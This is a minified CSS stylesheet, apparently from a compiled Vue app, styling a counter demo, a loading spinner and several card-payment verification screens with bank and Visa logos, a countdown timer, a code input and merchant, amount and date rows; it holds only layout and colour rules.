body{font-family:Arial,sans-serif;margin:0;padding:0;background-color:#fafafa;text-align:center}.app-container{margin:0 auto;background:#fff;box-shadow:0 0 10px rgba(0,0,0,.05)}.status-bar{font-size:12px;margin:10px 0;font-weight:700}nav a{font-weight:700;color:#2c3e50;text-decoration:none;padding:10px}nav a.router-link-active{color:#42b983}button{padding:10px 20px;background-color:#42b983;color:#fff;border:none;border-radius:4px;cursor:pointer;font-size:16px;margin:5px}button:active{background-color:#3aa876}input{padding:10px;border:1px solid #ddd;border-radius:4px;margin:5px 0;width:100%;box-sizing:border-box}.input-group{margin-bottom:15px;text-align:left}label{display:block;margin-bottom:5px;font-weight:700}.message[data-v-77294a26],.message[data-v-1d4485da]{margin-top:20px;color:#666}.controls[data-v-d5d06872]{display:flex;align-items:center;justify-content:center;gap:10px;margin:20px 0}.count[data-v-d5d06872]{font-size:24px;font-weight:700}.toggle-section[data-v-d5d06872]{margin-top:30px}.loading-page[data-v-7e6f0bfd]{display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;background-color:#7f7f7f}.spinner[data-v-7e6f0bfd]{border:4px solid #f3f3f3;border-top:4px solid #3498db;border-radius:50%;width:40px;height:40px;animation:spin-7e6f0bfd 1s linear infinite;margin-bottom:20px}.loading-text[data-v-7e6f0bfd]{color:#fff;margin:0}@keyframes spin-7e6f0bfd{0%{transform:rotate(0)}to{transform:rotate(360deg)}}.page-container[data-v-715cf56f]{display:flex;justify-content:center;min-height:100vh;background-color:#f5f5f5;font-family:Segoe UI,Tahoma,Geneva,Verdana,sans-serif;color:#333}.auth-card[data-v-715cf56f]{background:#fff;width:100%;max-width:700px;padding:20px 30px;border-radius:4px}.header[data-v-715cf56f]{display:flex;justify-content:space-between;align-items:flex-start;margin-bottom:20px}.bank-logo img[data-v-715cf56f]{height:40px;object-fit:contain}.visa-section[data-v-715cf56f]{display:flex;flex-direction:column;align-items:flex-end}.cancel-text[data-v-715cf56f]{font-size:12px;color:#666;margin-bottom:4px;cursor:pointer}.visa-logo-wrapper[data-v-715cf56f]{display:flex;flex-direction:column;align-items:flex-end}.visa-img[data-v-715cf56f]{height:35px;margin-bottom:2px}.secure-badge[data-v-715cf56f]{background-color:#1a1f71;color:#fff;font-size:8px;padding:1px 4px;letter-spacing:.5px;text-transform:uppercase}.timer[data-v-715cf56f]{text-align:center;font-size:42px;font-weight:500;color:#007da2;margin:10px 0 20px}.instructions h3[data-v-715cf56f]{font-size:16px;font-weight:700;margin-bottom:10px}.instructions p[data-v-715cf56f]{font-size:14px;line-height:1.5;color:#444;margin-bottom:10px}.instructions[data-v-715cf56f]{text-align:left}.input-group[data-v-715cf56f]{margin:20px 0;text-align:left}.input-group label[data-v-715cf56f]{display:block;margin-bottom:8px;font-weight:600;font-size:14px}.code-input[data-v-715cf56f]{width:100%;padding:12px;border:1px solid #ccc;border-radius:4px;font-size:16px;box-sizing:border-box}.code-input[data-v-715cf56f]:focus{border-color:#007da2;outline:none}.btn-continue[data-v-715cf56f]{width:100%;background-color:#1a1a1a;color:#fff;border:none;padding:12px;font-size:16px;border-radius:4px;cursor:pointer;transition:background-color .2s;margin:10px 0}.btn-continue[data-v-715cf56f]:hover{background-color:#333}.btn-continue[data-v-715cf56f]:disabled{background-color:#ccc;cursor:not-allowed}.footer-text[data-v-715cf56f]{margin-top:12px;font-size:12px;color:#666;text-align:left}.page-container[data-v-11974116]{display:flex;justify-content:center;min-height:100vh;background-color:#f5f5f5;font-family:Segoe UI,Tahoma,Geneva,Verdana,sans-serif;color:#333}.auth-card[data-v-11974116]{background:#fff;width:100%;max-width:700px;padding:20px 30px;border-radius:4px}.header[data-v-11974116]{display:flex;justify-content:space-between;align-items:flex-start;margin-bottom:20px}.bank-logo img[data-v-11974116]{height:40px;object-fit:contain}.visa-section[data-v-11974116]{display:flex;flex-direction:column;align-items:flex-end}.cancel-text[data-v-11974116]{font-size:12px;color:#666;margin-bottom:4px;cursor:pointer}.visa-logo-wrapper[data-v-11974116]{display:flex;flex-direction:column;align-items:flex-end}.visa-img[data-v-11974116]{height:35px;margin-bottom:2px}.secure-badge[data-v-11974116]{background-color:#1a1f71;color:#fff;font-size:8px;padding:1px 4px;letter-spacing:.5px;text-transform:uppercase}.timer[data-v-11974116]{text-align:center;font-size:42px;font-weight:500;color:#007da2;margin:10px 0 20px}.instructions h3[data-v-11974116]{font-size:16px;font-weight:700;margin-bottom:10px}.instructions p[data-v-11974116]{font-size:14px;line-height:1.5;color:#444;margin-bottom:10px}.instructions[data-v-11974116]{text-align:left}.input-group[data-v-11974116]{margin:20px 0;text-align:left}.input-group label[data-v-11974116]{display:block;margin-bottom:8px;font-weight:600;font-size:14px}.code-input[data-v-11974116]{width:100%;padding:12px;border:1px solid #ccc;border-radius:4px;font-size:16px;box-sizing:border-box}.code-input[data-v-11974116]:focus{border-color:#007da2;outline:none}.btn-continue[data-v-11974116]{width:100%;background-color:#1a1a1a;color:#fff;border:none;padding:12px;font-size:16px;border-radius:4px;cursor:pointer;transition:background-color .2s;margin:10px 0}.btn-continue[data-v-11974116]:hover{background-color:#333}.btn-continue[data-v-11974116]:disabled{background-color:#ccc;cursor:not-allowed}.footer-text[data-v-11974116]{margin-top:12px;font-size:12px;color:#666;text-align:left}.page-container[data-v-73ff7b6a]{display:flex;justify-content:center;min-height:100vh;background-color:#f5f5f5;font-family:Segoe UI,Tahoma,Geneva,Verdana,sans-serif;color:#333}.auth-card[data-v-73ff7b6a]{background:#fff;width:100%;max-width:700px;padding:20px 30px;border-radius:4px}.header[data-v-73ff7b6a]{display:flex;justify-content:space-between;align-items:flex-start;margin-bottom:20px}.bank-logo img[data-v-73ff7b6a]{height:40px;object-fit:contain}.visa-section[data-v-73ff7b6a]{display:flex;flex-direction:column;align-items:flex-end}.cancel-text[data-v-73ff7b6a]{font-size:12px;color:#666;margin-bottom:4px;cursor:pointer}.visa-logo-wrapper[data-v-73ff7b6a]{display:flex;flex-direction:column;align-items:flex-end}.visa-img[data-v-73ff7b6a]{height:35px;margin-bottom:2px}.secure-badge[data-v-73ff7b6a]{background-color:#1a1f71;color:#fff;font-size:8px;padding:1px 4px;letter-spacing:.5px;text-transform:uppercase}.timer[data-v-73ff7b6a]{text-align:center;font-size:42px;font-weight:500;color:#007da2;margin:10px 0 20px}.instructions h3[data-v-73ff7b6a]{font-size:16px;font-weight:700;margin-bottom:10px}.instructions p[data-v-73ff7b6a]{font-size:14px;line-height:1.5;color:#444;margin-bottom:10px}.details-section[data-v-73ff7b6a]{border-top:1px solid #e0e0e0;border-bottom:1px solid #e0e0e0;padding:15px 0;margin:20px 0}.detail-row[data-v-73ff7b6a]{display:flex;justify-content:space-between;align-items:center;margin-bottom:4px}.merchant-name[data-v-73ff7b6a]{font-weight:700;font-size:15px}.amount[data-v-73ff7b6a]{font-size:15px;color:#333}.date[data-v-73ff7b6a]{font-size:14px;color:#666}.instructions[data-v-73ff7b6a]{text-align:left}.btn-continue[data-v-73ff7b6a]{width:100%;background-color:#1a1a1a;color:#fff;border:none;padding:12px;font-size:16px;border-radius:4px;cursor:pointer;transition:background-color .2s;margin:10px 0}.btn-continue[data-v-73ff7b6a]:hover{background-color:#333}.footer-text[data-v-73ff7b6a]{margin-top:12px;font-size:12px;color:#666;text-align:left}.page-container[data-v-182c502d]{display:flex;justify-content:center;min-height:100vh;background-color:#f5f5f5;font-family:Segoe UI,Tahoma,Geneva,Verdana,sans-serif;color:#333}.auth-card[data-v-182c502d]{background:#fff;width:100%;max-width:700px;padding:20px 30px;border-radius:4px}.header[data-v-182c502d]{display:flex;justify-content:space-between;align-items:flex-start;margin-bottom:20px}.bank-logo img[data-v-182c502d]{height:40px;object-fit:contain}.visa-section[data-v-182c502d]{display:flex;flex-direction:column;align-items:flex-end}.cancel-text[data-v-182c502d]{font-size:12px;color:#666;margin-bottom:4px;cursor:pointer}.visa-logo-wrapper[data-v-182c502d]{display:flex;flex-direction:column;align-items:flex-end}.visa-img[data-v-182c502d]{height:35px;margin-bottom:2px}.secure-badge[data-v-182c502d]{background-color:#1a1f71;color:#fff;font-size:8px;padding:1px 4px;letter-spacing:.5px;text-transform:uppercase}.timer[data-v-182c502d]{text-align:center;font-size:42px;font-weight:500;color:#007da2;margin:10px 0 20px}.instructions h3[data-v-182c502d]{font-size:16px;font-weight:700;margin-bottom:10px}.instructions p[data-v-182c502d]{font-size:14px;line-height:1.5;color:#444;margin-bottom:10px}.instructions[data-v-182c502d]{text-align:left}.btn-continue[data-v-182c502d]{width:100%;background-color:#1a1a1a;color:#fff;border:none;padding:12px;font-size:16px;border-radius:4px;cursor:pointer;transition:background-color .2s;margin:10px 0}.btn-continue[data-v-182c502d]:hover{background-color:#333}.footer-text[data-v-182c502d]{margin-top:12px;font-size:12px;color:#666;text-align:left}
